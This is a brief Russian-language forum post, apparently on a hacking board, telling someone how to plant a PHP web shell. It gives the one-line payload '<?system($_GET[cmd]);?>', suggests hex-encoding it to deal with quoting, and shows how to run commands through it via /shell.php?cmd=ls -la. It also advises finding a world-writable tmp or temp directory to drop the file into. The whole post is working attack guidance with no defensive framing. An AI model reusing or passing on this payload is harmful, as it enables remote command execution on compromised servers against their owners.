fervex

'<?system($_GET[cmd]);?>'
Можешь захексить (ну и если с кавычками в порядке)

потом обращаешься к нему

/shell.php?cmd=ls -la

Только найди диреторию drwxrwxrwx =) temp or tmp search